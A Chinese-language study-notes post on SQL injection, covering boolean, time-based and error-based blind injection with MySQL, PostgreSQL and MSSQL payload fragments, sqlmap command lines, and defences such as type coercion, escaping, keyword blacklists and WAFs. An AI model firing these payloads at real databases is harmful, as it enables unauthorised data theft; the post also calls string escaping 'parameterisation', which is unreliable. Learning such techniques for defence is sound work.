sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御
第? ?21?課??
SQL注入的利用與防御
課程入口(付費)
個人背景
李,本科,電子信息工程專業,畢業一年半,有JavaScript的,PHP,Python的語言基礎,目前自學網絡安全中。
SQL注入的利用與防御
01 SQL盲注1.1 SQL盲注概念
無法通過SQL注入在頁面返回內容中找到所需要的數據或者用作注入成功判斷的內容,都可以稱作SQL盲注;這里包含說即使頁面報錯,但是很可能是通用的錯誤信息,不能用于注入判斷的情況。
? ? ? ?
1.2 SQL盲注分類
按照網上的分類,有三種:布爾型、時間型、錯誤型。
? ? ? ?
1.3 布爾型
left() 函數
left(database(),1)>'s' ? ? ? ? ? ?
解析:database()顯示數據庫名稱,left(a,b)從左側截取a的前b位
substr()函數,ascii()函數
解析:substr(a,b,c)從b位置開始,截取字符串a的c長度。ascii()將某個字符轉換為ascii值
ascii(substr((select database()),1,1))=98ORD()函數,MID()函數
解析:MID(a,b,c)從位置b開始,截取a字符串的c位ORD()函數同ascii(),將字符轉為ascii值
regexp正則注入
正則注入介紹:
http://www.cnblogs.com/lcamry/articles/5717442.html
用法介紹:select user() regexp '^[a-z]';
解析:正則表達式的用法,user()結果為root,regexp為匹配root的正則表達式。
第二位可以用select user() regexp '^ro'來進行 ??
當正確的時候顯示結果為1,不正確的時候顯示結果為0
like匹配注入
和上述的正則類似,mysql在匹配的時候我們可以用ike進行匹配。
用法:select user() like 'ro%'
1.4 時間型
sleep()函數
if判斷語句,條件為假,執行sleep,延時5秒
BENCHMARK(count,expr) 函數
BENCHMARK(count,expr)用于測試函數的性能,參數一為次數,二為要執行的表達式。可以讓函數執行若干次,返回結果比平時要長,通過時間長短的變化,判斷語句是否執行成功。
這是一種邊信道攻擊,在運行過程中占用大量的cpu資源。推薦使用sleep()函數進行注入。
Mysql | BENCHMARK(100000,MD5(1)) ?or sleep(5) |
Postgresql | PG_SLEEP(5) ??OR GENERATE_SERIES(1,10000) |
Mssql server | WAITFOR DELAY '0:0:5' |
1.5 錯誤型
select exp(~(select * FROM(SELECT USER())a)) ? ? ? ?//double數值類型超出范圍,Exp()為以e為底的對數函數;版本在5.5.5及其以上可以參考exp報錯文章:
http://www.cnblogs.com/lcamry/articles/5509124.html
select !(select * from (select user())x) -(ps:這是減號) ~0 ? //bigint超出范圍;~0是對0逐位取反,很大的版本在5.5.5及其以上可以參考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html
extractvalue(1,concat(0x7e,(select @@version),0x7e))//mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤updatexml(1,concat(0x7e,(select @@version),0x7e),1) ? //mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤select*from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql重復特性,此處重復了version,所以報錯。具體盲注介紹請參考:
https://www.cnblogs.com/lcamry/p/5763129.html
02 SQL MAP簡單實用GET請求
sqlmap.py -u “http://baidu.com/cmd?id=1”
POST請求
sqlmap.py -u 'http://www.baidu.com ' --data 'id=1&search=2'
具體SQLMap請參考:
https://www.cnblogs.com/ichunqiu/p/5805108.html
https://www.fujieace.com/hacker/sqlmap-12.html
03 SQL注入防御在代碼層面,可以使用參數化語句或者強制數據類型,強制類型比較好理解,就是比如某個參數的值能確定是int,在構建SQL語句前先強制int轉換類型,而參數化的話比如PHP中的參數化可以這樣寫:
$query=sprintf("select * from users where id='%s'",mysqli_real_escape_string($con,$id));
$result=mysqli_query($con,$query);
使用黑白名單進行輸入驗證,對用戶提交內容進行驗證,比如針對特殊關鍵詞,比如union可以列入黑名單,一旦發現則認定為攻擊請求,直接屏蔽。有一些語言有自帶這樣的驗證用的安全方法可以直接調用,或者用一些外部的安全框架和API也是可以的,比如之前的章節內容提到的OWASP的ESAPI。
可以使用WAF產品,不過其實這個方法對Web漏洞是通用。
下期更新筆記內容:
常見WEB漏洞:文件上傳 第一節?
總結
以上是生活随笔為你收集整理的sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: js foreach 跳出循环_VUE.
- 下一篇: android 组件路由框架,XRout